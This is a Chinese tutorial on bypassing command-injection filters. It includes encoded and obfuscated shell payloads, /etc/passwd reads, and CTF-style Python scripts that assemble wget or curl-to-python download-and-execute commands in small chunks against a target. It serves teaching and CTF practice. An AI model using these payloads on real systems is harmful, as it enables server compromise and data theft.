Bypass一些命令注入限制的姿势
字数 1668 2025-08-27 12:33:42

命令注入绕过技术详解

一、命令注入基础概念

命令注入(OS命令注入/Shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,可能导致完全破坏应用程序及其所有数据。

二、关键符号与语法

1. 逻辑操作符

  • &&(逻辑与):

    • command1 && command2:只有command1成功执行(返回0)才会执行command2
    • 示例:ping -c 1 127.0.0.1 && whoami
  • ||(逻辑或):

    • command1 || command2:只有command1失败(返回非0)才会执行command2
    • 示例:invalid_command || cat /etc/passwd
  • ;(分号):

    • 分隔多个命令,无论前一个命令是否成功都会执行下一个
    • 示例:ls; id; whoami

2. 管道与后台执行

  • |(管道):

    • 将前一个命令的输出作为后一个命令的输入
    • 示例:cat /etc/passwd | grep root
  • &(后台执行):

    • 将命令置于后台执行
    • 示例:sleep 10 &

3. 命令替换

  • ``(反引号)和**$()**:
    • 执行内部命令并将结果替换到外部命令中
    • 示例:echo `whoami` echo $(whoami)

4. 命令分组

  • ()(子shell执行):

    • 在子shell中执行一组命令
    • 示例:(ls; id)
  • {}(当前shell执行):

    • 在当前shell中执行一组命令
    • 示例:{ ls; id; }(注意空格和分号)

三、输入/输出重定向

  • >:输出重定向(覆盖)

    • command > file:将输出写入file(覆盖)
  • >>:输出重定向(追加)

    • command >> file:将输出追加到file
  • <:输入重定向

    • command < file:从file读取输入
  • n>&m:合并输出

    • command 2>&1:将标准错误重定向到标准输出

四、绕过技术详解

1. 空格绕过

  • 使用特殊变量

    • $IFS(内部字段分隔符):cat$IFS/etc/passwd
  • 使用重定向符号

    • <>cat</etc/passwd
  • 使用特殊变量

    • ${IFS}cat${IFS}/etc/passwd

2. 关键字过滤绕过

  • 变量替换

    • a=c;b=at;c=/etc/passwd;$a$b $c
  • 反斜杠转义

    • c\at /etc/passwd
  • 特殊变量

    • $*$@$x(x为1-9):who$1ami
    • ${x}(x≥10):who${10}ami

3. 编码绕过

  • Base64编码

    echo "d2hvYW1p" | base64 -d | bash
    
  • 十六进制编码

    echo "77686F616D69" | xxd -r -p | bash
    
  • 八进制编码

    echo "\167\150\157\141\155\151" | bash
    

4. 引号绕过

  • 单引号/双引号
    • w'h'o'am'i
    • w"h"o"a"m"i"

5. 花括号扩展

  • {command,argument}
    • {ls,-la}
    • {cat,/etc/passwd}

6. 特殊字符绕过

  • 换行符%0a(\n)
  • 回车符%0d(\r)
  • 制表符%09(\t)

五、长度限制绕过技术

1. 多阶段执行

例题1(长度<17):

<?php
$param = $_POST['param'];
if(strlen($param) < 17){
    eval($param);
}
?>

解法:eval(eval($_POST[x]))

2. 分块写入+重定向

例题2(长度<8):

<?php
if(strlen($_GET[1]) < 8){
    echo shell_exec($_GET[1]);
}
?>

解法步骤:

  1. 分块写入命令到文件
  2. 使用ls -t按时间排序
  3. 重定向到脚本文件
  4. 执行脚本

示例Python脚本:

import requests
name = [
    ">php \\",
    "> \\ 1.\\\\",
    "> \\ -O\\\\",
    ">cn\\\\",
    "> \\ a.\\\\",
    ">wget\\\\"
]

url = "http://target/test.php"
for x in name:
    param = {'1': x}
    requests.get(url, params=param)

param1 = {'1': 'ls -t>a'}
param2 = {'1': 'sh a'}
requests.get(url, params=param1)
requests.get(url, params=param2)

3. 极短长度限制(≤5)

例题3(HITCON CTF 2017 - BabyFirst Revenge):

<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if(isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    @exec($_GET['cmd']);
} else if(isset($_GET['reset'])) {
    @exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

解法(分块构建ls -t>g):

import requests
from urllib import quote

payload = [
    '>ls \\',
    'ls>_',
    '>\\ \\',
    '>-t\\',
    '>\\>g',
    'ls>>_',
    # 构建curl命令下载并执行脚本
    '>on',
    '>th\\',
    '>py\\',
    '>\\|\\',
    '>pw\\',
    '>x.\\',
    '>xx\\',
    '>l.\\',
    '>el\\',
    '>sh\\',
    '>\\ \\',
    '>rl\\',
    '>cu\\',
    # 执行
    'sh _',
    'sh g',
]

for i in payload:
    requests.get('http://target/?cmd=' + quote(i))

六、防御建议

  1. 避免使用系统命令执行函数
  2. 使用白名单验证所有输入
  3. 对特殊字符进行严格过滤
  4. 使用最小权限原则运行应用程序
  5. 使用安全的API替代命令执行

七、参考资源

  1. OWASP Command Injection
  2. Shell特殊变量和符号
  3. 正则表达式字符集
  4. Linux/Unix Shell编程
命令注入绕过技术详解 一、命令注入基础概念 命令注入(OS命令注入/Shell注入)是一种Web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统命令,可能导致完全破坏应用程序及其所有数据。 二、关键符号与语法 1. 逻辑操作符 && (逻辑与): command1 && command2 :只有command1成功执行(返回0)才会执行command2 示例: ping -c 1 127.0.0.1 && whoami || (逻辑或): command1 || command2 :只有command1失败(返回非0)才会执行command2 示例: invalid_command || cat /etc/passwd ; (分号): 分隔多个命令,无论前一个命令是否成功都会执行下一个 示例: ls; id; whoami 2. 管道与后台执行 | (管道): 将前一个命令的输出作为后一个命令的输入 示例: cat /etc/passwd | grep root & (后台执行): 将命令置于后台执行 示例: sleep 10 & 3. 命令替换 `` (反引号)和** $()** : 执行内部命令并将结果替换到外部命令中 示例: echo `whoami` 或 echo $(whoami) 4. 命令分组 () (子shell执行): 在子shell中执行一组命令 示例: (ls; id) {} (当前shell执行): 在当前shell中执行一组命令 示例: { ls; id; } (注意空格和分号) 三、输入/输出重定向 > :输出重定向(覆盖) command > file :将输出写入file(覆盖) >> :输出重定向(追加) command >> file :将输出追加到file < :输入重定向 command < file :从file读取输入 n>&m :合并输出 command 2>&1 :将标准错误重定向到标准输出 四、绕过技术详解 1. 空格绕过 使用特殊变量 : $IFS (内部字段分隔符): cat$IFS/etc/passwd 使用重定向符号 : < 和 > : cat</etc/passwd 使用特殊变量 : ${IFS} : cat${IFS}/etc/passwd 2. 关键字过滤绕过 变量替换 : a=c;b=at;c=/etc/passwd;$a$b $c 反斜杠转义 : c\at /etc/passwd 特殊变量 : $* 、 $@ 、 $x (x为1-9): who$1ami ${x} (x≥10): who${10}ami 3. 编码绕过 Base64编码 : 十六进制编码 : 八进制编码 : 4. 引号绕过 单引号/双引号 : w'h'o'am'i w"h"o"a"m"i" 5. 花括号扩展 {command,argument} : {ls,-la} {cat,/etc/passwd} 6. 特殊字符绕过 换行符 : %0a (\n) 回车符 : %0d (\r) 制表符 : %09 (\t) 五、长度限制绕过技术 1. 多阶段执行 例题1 (长度 <17): 解法: eval(eval($_POST[x])) 2. 分块写入+重定向 例题2 (长度 <8): 解法步骤: 分块写入命令到文件 使用 ls -t 按时间排序 重定向到脚本文件 执行脚本 示例Python脚本: 3. 极短长度限制(≤5) 例题3 (HITCON CTF 2017 - BabyFirst Revenge): 解法(分块构建 ls -t>g ): 六、防御建议 避免使用系统命令执行函数 使用白名单验证所有输入 对特殊字符进行严格过滤 使用最小权限原则运行应用程序 使用安全的API替代命令执行 七、参考资源 OWASP Command Injection Shell特殊变量和符号 正则表达式字符集 Linux/Unix Shell编程